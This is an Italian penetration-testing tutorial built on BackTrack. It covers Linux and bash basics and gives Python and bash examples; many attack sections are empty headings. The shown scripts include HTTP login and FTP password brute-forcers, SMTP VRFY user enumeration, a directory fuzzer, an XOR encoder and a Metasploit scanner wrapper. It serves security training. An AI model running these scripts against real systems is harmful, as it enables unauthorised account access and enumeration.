Date post: | 09-Jun-2015 |
Category: |
Documents |
Upload: | luigi-capuzzello |
View: | 352 times |
Download: | 5 times |
LUIGI CAPUZZELLO
Sicurezza Informatica Black Box Penetration test
Versione: 2.0
Luigi Capuzzello
17/11/2013
Il documento si propone di analizzare in dettaglio le fasi di un penetration test (information gathering, ricerca exploit, client side attack, password cracking, backdoor).La distribuzione GNU/Linux utilizzata come piattaforma di base per eseguire i penetration test è BackTrack.
http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a
http://www.slideshare.net/luigicapuzzello
@FisherKasparov
luigi.capuzzello
1
Luigi Capuzzello
SommarioBacktrack Basic....................................................................................................................................3
Services............................................................................................................................................3Linux: alcuni comandi utili..............................................................................................................5
Basic: mount device / network share............................................................................................5Installare \ aggiornare un programma..........................................................................................5Elenco comandi comuni...............................................................................................................5
Bash Environment............................................................................................................................8Variabili........................................................................................................................................8Passaggio di parametri..................................................................................................................8User Input.....................................................................................................................................8Bash Trap Command....................................................................................................................8Array.............................................................................................................................................9Leggere un file e metterlo in un Array.........................................................................................9if statement...................................................................................................................................9For statement................................................................................................................................9Arithmetic Comparison................................................................................................................9String Comparison......................................................................................................................10Bash File Testing........................................................................................................................10Funzioni......................................................................................................................................10Alcuni esempi di comandi interessanti.......................................................................................11
python environment........................................................................................................................15Rendersi invisibili...............................................................................................................................18
iptables............................................................................................................................................18TORtunnel: installazione................................................................................................................18TORtunnel: nmap...........................................................................................................................20TORtunnel: hydra...........................................................................................................................20TORtunnel: sqlmap........................................................................................................................20TORtunnel: firefox.........................................................................................................................20scansione porte...............................................................................................................................20
Information Gathering........................................................................................................................22Service Information Gathering...........................................................................................................23
Nmap..............................................................................................................................................23FTP (21).........................................................................................................................................23DNS (53)........................................................................................................................................23SNMP (161)...................................................................................................................................24SMTP (25)......................................................................................................................................24SMB (139 - 445).............................................................................................................................24HTTP (80) (scanning delle reti)....................................................................................................26
Verifica iniziale..........................................................................................................................26XSS: Cross Site Scripting...........................................................................................................28XSRF: Cross Site Reference Forgery.........................................................................................30Path Traversal Attack.................................................................................................................30SQL Injection.............................................................................................................................31SQL Injection: sqlmap:..............................................................................................................31SQL Injection: MySQL..............................................................................................................34SQL Injection: Access................................................................................................................35
Exploit: ricerca vulnerabilità note......................................................................................................37
2
Luigi Capuzzello
Exploit: eseguire.................................................................................................................................37Nessus e Metasploit........................................................................................................................37Metasploit autopwn........................................................................................................................38Metasploit.......................................................................................................................................38
Meterpreter.................................................................................................................................38da siti web.......................................................................................................................................39
Client side Attack...............................................................................................................................40aurora / autoPWN (payload)...........................................................................................................40!!!! iniettare trojan in eseguibile.....................................................................................................40smb_relay (payload).......................................................................................................................40smb sniff password.........................................................................................................................41
Password Cracking.............................................................................................................................42Online password.............................................................................................................................42
John come dizionario..................................................................................................................42Offline password............................................................................................................................43
Cosa fare dopo che ho una shell.........................................................................................................44subito ….........................................................................................................................................44con Tftp (no in vista e 7)................................................................................................................44con Ftp............................................................................................................................................44DEBUG.exe (no 7).........................................................................................................................45Vb script.........................................................................................................................................45Internet Explorer.............................................................................................................................45wget................................................................................................................................................46Shell su macchina non routable: ssh tunneling..............................................................................47
Pulire le tracce lasciate.......................................................................................................................48Network Fun (pwb3.doc)...................................................................................................................49
Netcat..............................................................................................................................................49Port redirection: rinetd....................................................................................................................49Encapsulation - stunnel..................................................................................................................50HTTP CONNECT Tunneling.........................................................................................................52ProxyTunnel...................................................................................................................................52SSH Tunneling...............................................................................................................................53Chiave pubblica e privata...............................................................................................................53SSH: configurare con chiave pubblica e privata............................................................................55
Appendice A: Service exploit.............................................................................................................5621 – FTP.....................................................................................................................................5625 - SendMail.............................................................................................................................5680 – HTTP..................................................................................................................................56445 - Samba smbd......................................................................................................................57
Appendice B: siti utili.........................................................................................................................58Appendice C: IRC command.............................................................................................................59Appendice D: crack WEP/WPA protocol con BackTrack.................................................................60
3Backtrack Basic.
Luigi Capuzzello
Backtrack Basic.La distrubuzione BackTrack consente di attivare e disattivare facilmente tutti i principali servizi e le applicazioni server che servono per realizzare un penetration test.
ServicesENTRARE IN RETEPer farlo è necessario settare un indirizzo IP validoroot@bt:~# ifconfig eth0 192.168.0.4/24root@bt:~# route add default gw 192.168.0.1root@bt:~# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
Definire il server DNS:root@bt:~# echo nameserver 192.168.0.1 > /etc/resolv.conf
Eventualmente collegarsi ad un access Point wireless:root@bt:~# iwconfig eth1 essid sygest key 123451234512341234ABCDABCD channel 11
DHCP:Se esiste un server DHCP valido allora è sufficiente:root@bt:~# dhclient eth0
APACHEroot@bt:~# /etc/init.d/apache2 startroot@bt:~# /etc/init.d/apache2 stop
SERVER FTPAttivo il database del server pureFTP# pure-pw mkdb# ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB# nano /etc/pure-ftpd/conf/PAMAuthenticationCmbiare ‘yes’ in ‘mp’
E’ ora necessario abilitare il file pdb; per farlo è necessario fermare il server per evitare errori facendo partire servizi su porte che sono già I uso.# /etc/init.d/pure-ftpd stop# /usr/sbin/pure-ftpd -j -lpuredb:/etc/pure-ftpd/pureftpd.pdb &# /etc/init.d/pure-ftpd start# chmod 777 /ftphome/
creo un nuovo utente ftp:1. utente hacker 2. appartenente al gruppo ftpuser3. con home directory /ftphome/
#pure-pw useradd hacker –u ftpuser –d /ftphome/
Inserisco l’utente creato nel database con#pure-pwd mkdb
Faccio partire il server FTP#/etc/init.d/pure-ftpd restart
SAMBA CLIENT#smbclient \\\\macchina_remota\\cartella – U <utente definito sulla macchina (non di dominio)>
- Get: per scaricare i file- Put: per uplodare i file
SAMBA SERVER- Configuro /etc/samba/smb.conf in modo da condividere una cartella
[global]
4Backtrack Basic.
Luigi Capuzzello
workgroup = <gruppo definito sulla macchina>server string = foosecurity = userload printers = yeslog file = /var/log/samba.%mmax log file = 50socket option = TCP_NODELAY
[home]comment = Home Directorypath = /home/luigi/valid users = sambausr luigiwritable = yes
L'esempio illustrato sopra consente agli utenti sambausr e luigi di leggere e scrivere nella directory /home/luigi, sul server Samba da un client Samba.
- Faccio partire samba server# service smb restart
SSH SERVERroot@bt:~# sshd-generate (la prima volta)root@bt:~# /etc/init.d/ssh start
SSH CLIENT
Supponiamo di voler fare un collegamento da ‘mypc’ alla macchina ‘work’ passando dal gateway ‘gate’ (su cui gira sshd).Da mypc eseguo:mypc# ssh –p 10022 –l root –L 7777:work:25 gate catApro una connessione ssh con utente root su ‘gate’ (porta 10022) ed eseguo il commando cat (che mi consente di tenere la sessione aperta).–L : ridirigo tutto ciò che mando alla porta 7777 di mypc sulla porta 25 di work.Attivando il comando mi verrà chiesta la password di root su ‘gate’.
Una volta creato il tunnel lo posso usare da ‘mypc’ con comandi come:mypc# telnet 127.0.0.1 7777 (mi collega alla porta 25 di work)
TFTPDLo faccio partire su una determinate cartella e portaroot@bt:~# atftpd --daemon --port 69 /tmp
Per prelevare file faccio:#tftp -i <IP remoto> GET <file>
VNC SERVERParte sulla porta 5901 e ha bisogno di una password per poter essere accedutoroot@bt:~# vncserver
5Backtrack Basic.
Luigi Capuzzello
Linux: alcuni comandi utili.Segue un elenco di alcuni dei comandi linux che vengono utilizzati più di frequente.L’elenco è molto sintetico; esula dalla seguente trattazione la definizione dettagliata dei concetti di base che sottendo l’utilizzo dei comandi.
Basic: mount device / network share#fdisk –l (visualizzo tutti i dispositivi che il kernel vede)#mount /dev/hda1 /mnt/hda1#ls -l /mnt/hda1
Installare \ aggiornare un programma.
Con codice sorgente:tar zxvf program.tar.gzcd to the new program folder./configuremakesu rootmake installmake cleanmake distclean
pacchetto rpmrpm -i /doveeilfile/nome.rpm #per installare il pacchettorpm -U /doveeilfile/nome.rpm #per fare un update del pacchettorpm -e /doveeilfile/nome.rpm #per disinstallare un pacchetto
pacchetto .debdpkg -i ./percorso/nomepacchetto.deb #per installare un pacchettodpkg -r ./percorso/nomepacchetto.deb #per rimuovere un pacchetto
yum e apt-getapt-get update #aggiornamento del repository (elenco sorgenti /etc/apt/sources.list)
il file per configurare apt-get è in /etc/apt/source.list
yum update #aggiornamento del repository
apt-cache search squirrelmail #Ricerca all'interno del database dei pacchetti yum search squirrelmail # Ricerca all'interno del database dei pacchetti
yum install tcpdump #Installare un pacchetto apt-get install tcpdump #Installare un pacchetto
yum remove tcpdump #rimuove un pacchetto apt-get remove tcpdump #rimuove un pacchetto
svn: sistema di controllo versione Subversionper estrarre una cartella dal repository (co sta per check out)mv programming programming-bksvn co file:///home/mysurface/repo/programming_repo programming
per estrarre un file dal repositorysvn export file:///home/mysurface/repo/programming_repo/c/curses/matrix.cc
Elenco comandi comuni.alias elenco ‘ls –la’ -il comando ‘elenco’ corrisponde a ‘ls –la.
Per copiare parti di memoria e salvarle su file è necessario utilizzare il comando dd..Ad esempio se voglio salvare il MBR devo utilizzare il comando:#dd if=/dev/hda of=mbrwindow count=1 bs=512Per ripristinare il MBR danneggiato devo#dd if= mbrwindow of=/dev/hda count=1 bs=512
6Backtrack Basic.
Luigi Capuzzello
Per testare le dimensioni di una cartella posso fare:#du -ah --max-depth=1 /
Per visualizzare le prime righe di un file:#head –n <nr righe> file
Librerie dinamiche (.so): ldd - ldconfigLe librerie associate ad un programma possono essere:
Statiche (.sa): Dinamiche (.so):
Posso verificare quali librerie non sono caricate all’interno del programma con ldd#ldd /path/<programma>Se il mio programma non viene eseguito a causa di collegamenti alle librerie esterne, per risolvere il problema posso fare in vari modi
#ldconfig metto il path della libreria che il programma non trova in ‘/etc/ld.so.conf’ ed eseguo ancora ldconfig metto il path della libreria nella variabile d’ambiente ‘LD_LIBRARY_PATH’
setenv LD_LIBRARY_PATH /Path/alla/mia/library/
Moduli (.ko): modprobePer visualizzare tutti i moduli che ho a disposizione:#modprobe -lSe non trovo il modulo che mi serve allora devo ricompilare il kernel!
Per caricare un modulo e le sue dipendenze utilizzo il comando modprobe.Ad esempio se cerco le dipendenze del modulo zd1211# modprobe zd1211
Per caricare tutti i moduli:# modprobe -a
Per scaricare un modulo basta (tornando al caso precedente):# modprobe –r zd1211
rm –r <cartella>Mi consente di cancellare una cartella e tutte le sottocartelle.
tail –f <nome file>Visualizza le ultime linee di un file. Con l'opzione "-f" visualizza le ultime righe.
unameRestituisce informazioni relative a:# uname –r la versione del kernel in uso# uname –p il tipo di processore in uso# uname –a tutte le informazioni
basename - dirname#basename /usr/idrogeno/ossigeno#ossigeno
#dirname /usr/idrogeno/ossigeno#/usr/idrogeno
find /etc –name hosts.* –printRicerca file di qualsiasi tipo nel filesystem.
#groupadd mioGruppoPer creare un nuovo gruppo basta
#useradd mioUtente –c Commento –d /mia Home –g mio GruppoCreo l’utente ‘mioUtente’ con un commento descrittivo ‘Commento’ con la home in ‘MiaHome’ e appartenente al gruppo ‘Gruppo’
Per dare una password all’utente farò:#passwd mioUtente suaPassword
7Backtrack Basic.
Luigi Capuzzello
Per cancellare gli utenti e i gruppi uso#groupdel#userdel
nameiScompone un path nei suoi elementi e li analizza uno per uno identificandoli come:
f: il pathname che si sta analizzando; d directory; l link simbolico; s socket; b block device (dispositivo a blocchi); c character device (dispositivo a caratteri); - file normale; ? errore.
Esempi $ namei /usr/bin/X11Genera il seguente risultato: f: /usr/bin/X11 d / d usr d bin l X11 -> ../X11R6/bin d .. d X11R6 d bin
[tar – gzip – zip].#tar –cvf MiaCartella.tar MiaCartella#tar –xvf MiaCartella.tar
gzip NomeFile ottengo NomeFile.gzgunzip NomeFile.gz ottengo NomeFile
zip NomeFile ottengo NomeFile.zipunzip NomeFile.zip ottengo NomeFile
grep#grep Parola /etc/ -r -cerca ‘Parola’ all’interno di tutti i file di /etc e in tutte le sottocartelle (-r)
Cut - awk#echo “oggi:dopo:la messa:vado a casa” | cut –d : -f 3 preleva ‘la messa’
cut -d ' ' -f2,3 filename è equivalente aawk -F'[ ]' '{ print $2, $3 }' filename il vantaggio è che posso invertire l’ordine degli addendi:awk -F'[ ]' '{ print $3, $2 }' filename
8Backtrack Basic.
Luigi Capuzzello
Bash EnvironmentLa definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi.
Variabili#!/bin/bash STRING="HELLO WORLD!!!" echo $STRING
Passaggio di parametri#!/bin/bash# use predefined variables to access passed arguments#echo arguments to the shellecho $1 $2 $3 ' -> echo $1 $2 $3'
# We can also store arguments from bash command line in special arrayargs=("$@")#echo arguments to the shellecho ${args[0]} ${args[1]} ${args[2]} ' -> args=("$@"); echo ${args[0]} ${args[1]} ${args[2]}'
#use $@ to print out all arguments at onceecho $@ ' -> echo $@'
# use $# variable to print out# number of arguments passed to the bash scriptecho Number of arguments passed: $# ' -> echo Number of arguments passed: $#'
User Input#!/bin/bash echo -e "Hi, please type the word: \c "read wordecho "The word you entered is: $word"echo -e "Can you please enter two words? "read word1 word2echo "Here is your input: \"$word1\" \"$word2\""echo -e "How do you feel about bash scripting? "# read command now stores a reply into the default build-in variable $REPLYreadecho "You said $REPLY, I'm glad to hear that! "echo -e "What are your favorite colours ? "# -a makes read command to read into an arrayread -a coloursecho "My favorite colours are also ${colours[0]}, ${colours[1]} and ${colours[2]}:-)"
Bash Trap Command#!/bin/bash# bash trap commandtrap bashtrap INT# bash clear screen commandclear;# bash trap function is executed when CTRL-C is pressed:# bash prints message => Executing bash trap subrutine !bashtrap(){ echo "CTRL+C Detected !...executing bash trap !"}# for loop from 1/10 to 10/10for a in `seq 1 10`; do echo "$a/10 to Exit." sleep 1;doneecho "Exit Bash Trap Example!!!"
9Backtrack Basic.
Luigi Capuzzello
Arrayse myHost vale www.target.com allora splitto e carico in un array
myHost=$1hostPart=$(echo $myHost | tr "." "\n")
for x in ${hostPart[@]}do echo $xdone
Leggere un file e metterlo in un Array#!/bin/bash# Declare arraydeclare -a ARRAY# Link filedescriptor 10 with stdinexec 10<&0# stdin replaced with a file supplied as a first argumentexec < $1let count=0
while read LINE; do
ARRAY[$count]=$LINE ((count++))done
echo Number of elements: ${#ARRAY[@]}# echo array's contentecho ${ARRAY[@]}# restore stdin from filedescriptor 10# and close filedescriptor 10exec 0<&10 10<&-
if statement#!/bin/bashdirectory="./BashScripting"
# bash check if directory existsif [ -d $directory ]; then
echo "Directory exists"else
echo "Directory does not exists"fi
For statement#!/bin/bashfor (( c=1; c<=5; c++ ))do echo "Welcome $c times"done
Arithmetic Comparison#!/bin/bash# declare integersNUM1=2NUM2=2if [ $NUM1 -eq $NUM2 ]; then
10Backtrack Basic.
Luigi Capuzzello
echo "Both Values are equal"else
echo "Values are NOT equal"fi
-lt <
-gt >
-le <=
-ge >=
-eq ==
-ne !=
String Comparison#!/bin/bash#Declare string S1S1="Bash"#Declare string S2S2="Scripting"if [ $S1 = $S2 ]; then
echo "Both Strings are equal"else
echo "Strings are NOT equal"fi
== Equal
!= not equal
< less then
> greater then
-n s1 string s1 is not empty
-z s1 string s1 is empty
Bash File Testing-b filename Block special file-c filename Special character file-d directoryname Check for directory existence-e filename Check for file existence-f filename Check for regular file existence not a directory-G filename Check if file exists and is owned by effective group ID.-g filename true if file exists and is set-group-id.-k filename Sticky bit-L filename Symbolic link-O filename True if file exists and is owned by the effective user id.-r filename Check if file is a readable-S filename Check if file is socket-s filename Check if file is nonzero size-u filename Check if file set-ser-id bit is set-w filename Check if file is writable-x filename Check if file is executable
Funzioni!/bin/bash# BASH FUNCTIONS CAN BE DECLARED IN ANY ORDERfunction function_B { echo Function B.}function function_A { echo $1}function function_D { echo Function D.
11Backtrack Basic.
Luigi Capuzzello
}function function_C { echo $1}# FUNCTION CALLS# Pass parameter to function Afunction_A "Function A."function_B# Pass parameter to function Cfunction_C "Function C."function_D
Alcuni esempi di comandi interessanti
Elaboro contenuto pagina web#!/bin/bashwget http://www.offsec.com/pwbonline/icq.html -O icq.txt -o /dev/nullgrep 'href=' icq.txt | cut -d"/" -f3 |grep icq.com |sort -u > icq-srv.txt
ricavo dal file gli IP (ciclo for)#!/bin/bashfor hostname in $(cat icq-srv.txt);dohost $hostnamedone
chiedo dati all’utente #!/bin/bashecho "Please enter Class C IP network range:"echo "eg: 194.29.32"read rangefor ip in `seq 1 254`;dohost $range.$ip |grep "name pointer" |cut -d" " -f1,5 #prendo il campo 1 e 5done
Prendo dati all’avvio della shell#/bin/bash# Simple Zone Transfer Bash Script# $1 is the first argument given after the bash script# Check if argument was given, if not, print usageif [ -z "$1" ]; thenecho "[*] Simple Zone transfer script"echo "[*] Usage : $0 <domain name> "echo "[*] Example : $0 aeoi.org.ir "exit 0fi
funzioni e if statement (multisploit.sh)#!/bin/bash# execute auxiliary script about metasploit# the ini file are obtained from a 'search ftp' and a 'seach smb' on metasploit msfconsole
function myinstr(){#si="ciao mamma come stai"#st="mammasss"
si="$1"st="$2"sf=${si##*$st}#echo ${#sf}#echo ${#si}
12Backtrack Basic.
Luigi Capuzzello
if [ ${#sf} == ${#si} ]; then#echo ">>>>>>>>> stringa NON trovata"return 0
else#echo ">>>>>>>>> stringa trovata"return 1
fi }
if [ -z "$5" ]; thenecho "[*] Execute multi auxiliary scanner on metasploit"echo "[*] Usage : $0 <Target IP> <Target Port (Nr | x)> <Target SO (linux | windows)> <auxiliary scanner for (ssh | ftp | smtp | tftp | http | pop3 | smb | snmp | mysql | mssql | oracle | vnc | custom)> <Threads Number>"echo ""echo "[*] Example : $0 192.168.11.145 x linux smb 5"echo ""exit 0fi
echo ""echo "============================="echo "="echo "= TARGET $1:$2"echo "= protocol: $4"echo "="echo "============================="
#echo "so do you want to test $1:$2"#echo "SO: $3"#echo "Protocol: $4"
for aux in $(cat "multisploit_$4.ini" | cut -d" " -f4);do
if [ "$2" == "x" ]; then#No specified port I take the default portmycommand="$aux RHOST=$1 RHOSTS=$1 THREADS=$5 E"
elsemycommand="$aux RHOST=$1 RHOSTS=$1 RPORT=$2 THREADS=$5 E"
fi
#if SO is linux then I skip all auxiliaries that contain dos or windowsif [ "$3" == "linux" ]; then
skip="0"myinstr "$aux" "windows"return_val=$?if [ "$return_val" == "1" ]; then
skip="1"else
myinstr "$aux" "dos"return_val=$?if [ "$return_val" == "1" ]; then
skip="1"fi
fiif [ "$skip" == "1" ]; then
echo "skiping ...$aux"mycommand=""
fifi
#if SO is windows then I skip all auxiliaries that contain linux
13Backtrack Basic.
Luigi Capuzzello
if [ "$3" == "windows" ]; thenskip="0"myinstr "$aux" "linux"return_val=$?if [ "$return_val" == "1" ]; then
skip="1"fiif [ "$skip" == "1" ]; then
echo "skiping ...$aux"mycommand=""
fifi
#salto tutti i fuzzerskip="0"myinstr "$aux" "fuzzer"return_val=$?if [ "$return_val" == "1" ]; then
skip="1"fiif [ "$skip" == "1" ]; then
echo "skiping ...$aux"mycommand=""
fi
if [ "$mycommand" != "" ]; thenecho ""echo "executing ... $aux"/pentest/exploits/framework3/msfcli $mycommand
fidone
Esempio di utilizzo di curl (user:password)Dizionario: ftp://ftp.openwall.com/
#!/ bin/ bash# PAINSEC web login fuzzer used in "How Strong is your Fu?if [ $# -ne 1 ]
thenecho " Usage : `basename $0 ` <dictionary >"exit -1
fi# We loop all over the dictionaryfor i in `cat $1 `
do# We know the user is admin ...curl -u admin :$i http :// www1 .noob - filter .com/ dotDefender > tmp 2> / dev / null# " Required " is our blind keywordif grep Required tmp > /dev / null ; then
echo " Not $i ... "else
# Good news :)echo " Found ! $i"exit
fidone
rm tmp
Esempio di curl (loop sulle cartelle)Dizionario: ftp://ftp.openwall.com/
#!/ bin/sh# PAINSEC , Web fuzzer developed for How Strong is Your Fu?# Check syntax
14Backtrack Basic.
Luigi Capuzzello
if [ $# -ne 2 ]then
echo " Usage : `basename $0 ` <dictionary > <output file >"exit -1
fiecho -n "" > temp . txt# Loop over all dictionaryfor i in `cat $1 `
do# Get the page , dump the header to " header . txt "curl -D header .txt http :// localhost :8080/ $i > / dev/ null 2> / dev / null# Write header status to screen and fileecho -n -e "$i\t\t\t"cat header . txt | head -n 1echo -n -e "$i\t\t" >> temp . txtcat header . txt | head -n 1 >> temp . txt
done# Finished , remove temporal files and save no -404 results in output filerm header . txtcat temp . txt | grep -v 404 > $2rm temp . txt
15Backtrack Basic.
Luigi Capuzzello
python environmentAnche in questo caso la definizione delle principali funzioni dell’ambiente Bash verrà definita attraverso semplici ed intuitivi esempi.
Connessione alla porta 25 e verifico se funziona il commando VRFY- socket
#!/usr/bin/pythonimport socketimport sysif len(sys.argv) != 2:print "Usage: vrfy.py <username>"sys.exit(0)# Create a Sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Connect to the Serverconnect=s.connect(('192.168.0.10',25))# Recieve the bannerbanner=s.recv(1024)print banner# VRFY a users.send('VRFY ' + sys.argv[1] + '\r\n')result=s.recv(1024)print result# Close the sockets.close()
Questo script controlla se un elenco di IP (presi da file di testo) rilascia le email di un elenco di nomi (presi da file di testo):
- Socket- Prelevare dati da input- Lettura da file- array
#!/usr/bin/pythonimport socketimport sysimport fileinputimport array
if len(sys.argv) != 3:print "Usage: smtp_vrfy.py <server_list.txt> <name_list.txt>"sys.exit(0)
arrip=[]arrnomi=[]arrris=[]# Connect to the Server prelevato da filefor ipsrv in fileinput.input(sys.argv[1]):
arrip.append(ipsrv)
#Controllo ogni nome possibilefor nome in fileinput.input(sys.argv[2]):
arrnomi.append(nome)
for elnome in arrnomi:for elip in arrip:
print elnome + " " + elip
# Create a Sockets=socket.socket(socket.AF_INET, socket.SOCK_STREAM)#print ipsrvconnect=s.connect((elip,25))## Recieve the bannerbanner=s.recv(1024)print banner## VRFY a user#s.send('VRFY ' + sys.argv[1] + '\r\n')s.send('HELO [email protected]\r\n')result=s.recv(1024)
16Backtrack Basic.
Luigi Capuzzello
s.send('VRFY '+ elnome + '\r\n')result=s.recv(1024)
if result.find('250')>=0:#ho trovato qualche cosaprint "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"arrris.append(result)
print result## Close the sockets.close()print ""print ""print "================="
print "AT THE END"print "these are the results"for elris in arrris:
print elris
Questo script fa brute force su FTP- definizione delle funzioni- lettura da file
#!/usr/bin/pythonimport socketimport reimport sysdef connect(username,password):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print "[*] Trying " + username + ":" + passwords.connect(('192.168.0.112',21))data = s.recv(1024)s.send('USER ' + username + '\r\n')data = s.recv(1024)s.send('PASS ' + password + '\r\n')data = s.recv(3) #prendo I primi 3 caratteri e basta!!!s.send('QUIT\r\n')s.close()return data
username = "ftp"f=open(‘pass.txt’)lines=f.readlines()f.close()for line in lines:
attempt=connect(username,line)if attempt == "230":
print "[*] Password found: "+ passwordsys.exit(0)
questo script crea una funzione xor:- creare e usare funzioni
#!/usr/bin/python#coded by sinn3rimport socket, sys
## XOR routinedef xorme(data):
input = dataoutput = ""for char in input:
tmp = char.encode("hex")key = "\x04".encode("hex")int_byte = int(tmp, 16)int_key = int(key, 16)xor = int_byte ^ int_keyoutput += chr(xor)
return output
buffer = sys.argv[1]buffer = buffer + "\r\n\r\n"
17Backtrack Basic.
Luigi Capuzzello
xor_buffer = xorme(buffer)
18Rendersi invisibili.
Luigi Capuzzello
Rendersi invisibili.Effettuare un penetration test di tipo black box può richiedere la necessità di nascondere il proprio indirizzo IP nella fase di analisi della rete. Questa operazione non sempre è necessaria e rallenta molto la fase di raccolta delle informazioni. Nel caso venga richiesta, è comunque la prima attività che deve essere svolta.….….
iptablesPer garantire che il target non riceva pacchetti con il mio IP, posso decidere di bloccare tutti i miei pacchetti in uscita che vanno verso il target:#iptables -A OUTPUT --dest <target> -j DROP….….
TORtunnel: installazioneTortunnel è più veloce di TOR perché usa solo un nodo della rete TOR ed esce con quel nodo (quello selezionato con tortunnel –r)…….
19Rendersi invisibili.
Luigi Capuzzello
TORtunnel: nmap……
TORtunnel: hydra……
TORtunnel: sqlmap……
TORtunnel: firefox……
scansione porte……
20Information Gathering.
Luigi Capuzzello
Information Gathering.……
21Service Information Gathering
Luigi Capuzzello
Service Information Gathering……
Nmap……
FTP (21)……
DNS (53).……
SNMP (161)……
SMTP (25)……
SMB (139 - 445)……
22Service Information Gathering
Luigi Capuzzello
HTTP (80) (scanning delle reti)……
Verifica iniziale……
23Service Information Gathering
Luigi Capuzzello
XSS: Cross Site Scripting.……
24Service Information Gathering
Luigi Capuzzello
XSRF: Cross Site Reference Forgery.……
Path Traversal Attack.……
25Service Information Gathering
Luigi Capuzzello
SQL Injection.……
SQL Injection: sqlmap:……
In manuale……
SQL Injection: MySQL……
SQL Injection: Access……
26Exploit: ricerca vulnerabilità note
Luigi Capuzzello
Exploit: ricerca vulnerabilità note
……
Exploit: eseguire……
Nessus e Metasploit……
Metasploit autopwn……
Metasploit……
Meterpreter……
da siti web……
27Client side Attack
Luigi Capuzzello
Client side Attack……
aurora / autoPWN (payload)……
!!!! iniettare trojan in eseguibile……
smb_relay (payload)……
28Client side Attack
Luigi Capuzzello
smb sniff password……
29Password Cracking
Luigi Capuzzello
Password Cracking
Online password
……
John come dizionario……
30Password Cracking
Luigi Capuzzello
Offline password
……
31Cosa fare dopo che ho una shell.
Luigi Capuzzello
Cosa fare dopo che ho una shell.Una volta che ho una shell su una macchina per espandere l’attacco devo:
subito ………
con Tftp (no in vista e 7)……
con Ftp.……
32Cosa fare dopo che ho una shell.
Luigi Capuzzello
DEBUG.exe (no 7)……
Vb script……
Internet Explorer……
wget……
33Cosa fare dopo che ho una shell.
Luigi Capuzzello
Shell su macchina non routable: ssh tunneling.……
34Pulire le tracce lasciate.
Luigi Capuzzello
Pulire le tracce lasciate.……
35Network Fun (pwb3.doc)
Luigi Capuzzello
Network Fun (pwb3.doc)Di seguito vengono riportati alcuni esempi di come utilizzare I programmi di rete più comuni per muoversi attraverso alcuni scenari tipci.
Netcat……
Port redirection: rinetd……
36Network Fun (pwb3.doc)
Luigi Capuzzello
Encapsulation - stunnel……
37Network Fun (pwb3.doc)
Luigi Capuzzello
HTTP CONNECT Tunneling……
ProxyTunnel
……
38Network Fun (pwb3.doc)
Luigi Capuzzello
SSH Tunneling……
Chiave pubblica e privata……
39Network Fun (pwb3.doc)
Luigi Capuzzello
SSH: configurare con chiave pubblica e privata……
40Appendice A: Service exploit
Luigi Capuzzello
Appendice A: Service exploit……
41Appendice B: siti utili.
Luigi Capuzzello
Appendice B: siti utili.
Exploit:1. http://www.exploit-db.com/ 2. http://inj3ct0r.com/ 3. http://www.securityfocus.com/ (inurl:bid)
Dizionari on line:1. ftp://ftp.openwall.com/
Crack password:http://cracker.offensive-security.com/ (priority code: 1337123456)http://md5.rednoize.com/http://ziogeek.com/i-migliori-14-siti-per-decriptare-le-password-in-md5/
Default Password:http://www.phenoelit-us.org/dpl/dpl.html
42Appendice C: IRC command.
Luigi Capuzzello
Appendice C: IRC command.
Basic IRC (Mibbit) Commands
IRC Help Commands
/HELPOP SNOMASKS - To get the list of snomasks/HELPOP OPERCMDS - To get the list of IRC operator commands/HELPOP SVSCMDS - To get the list of U-Lined servers commands (services) /HELPOP USERCMDS - To get the list of user commands/HELPOP UMODES - To get the list of user modes/HELPOP CHMODES - To get the list of channel modes/HELPOP CHMODEF - Channel flood protection/HELPOP EXTBANS - Extended ban types
/msg NickServ HELP command - For more information on a specific command
Basic Channel Commands
/whois nick - Quick info lookup on user/ignore nick - Ignores user/join #Channel - Join a channel ie. /join #computerhope/mode nick +O - Give's user op status on own channel/msg nick message - Send a private message. Always get permission/quit - Quits a channel/quit message - Quits and leave a message ie. /quit See you later
NickServ Commands
/msg nickserv register your_password yourName@yourMailProvider - To register nick/msg nickserv confirm confirmation_code - To confirm nick/msg NickServ IDENTIFY password - Identifies nick with password/msg nickserv set hide email on - Hides email after u setup nick
ChanServ Commands
/msg ChanServ REGISTER #Channel password description - Registers a channel in the ChanServ database/msg ChanServ IDENTIFY #Channel password - Authenticates you to ChanServ as the founder of the given channel. Many commands require you to use this command before using them. The password should be the same one you sent with the REGISTER command
/msg BotServ ASSIGN #Channel bot - Assigns a bot to a channel to help you manage your channel
43Appendice D: crack WEP/WPA protocol con BackTrack.
Luigi Capuzzello
Appendice D: crack WEP/WPA protocol con BackTrack.……